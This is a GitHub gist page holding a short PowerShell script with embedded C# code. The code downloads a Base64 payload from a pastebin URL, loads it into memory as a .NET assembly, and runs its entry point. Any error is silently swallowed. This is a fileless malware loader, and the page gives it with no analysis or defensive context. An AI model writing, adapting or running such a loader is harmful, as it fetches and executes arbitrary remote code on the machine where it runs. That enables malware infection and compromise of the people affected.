Created
July 5, 2019 02:45
-
-
Save robpot891/0e8ed30cef973f5323c55432dcd7b48d to your computer and use it in GitHub Desktop.
Revisions
-
robpot891 created this gist
Jul 5, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,42 @@ $code = @" using System.Net; using System.Reflection; using System; using System.Threading; namespace Nyan { public class Cat { public void Run() { using (WebClient wc = new WebClient()) { // new Thread(() => // { try { Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://pastebin.com/raw/vezkZ6VC"))); MethodInfo Metinf = asm.EntryPoint; object InjObj = asm.CreateInstance(Metinf.Name); object[] parameters = new object[1]; // C# if (Metinf.GetParameters().Length == 0) { parameters = null; // VB.NET } Metinf.Invoke(InjObj, parameters); } catch { return; } // }) // { IsBackground = false }.Start(); } } } } "@ Add-Type -TypeDefinition $code; $instance = New-Object Nyan.Cat; $instance.Run();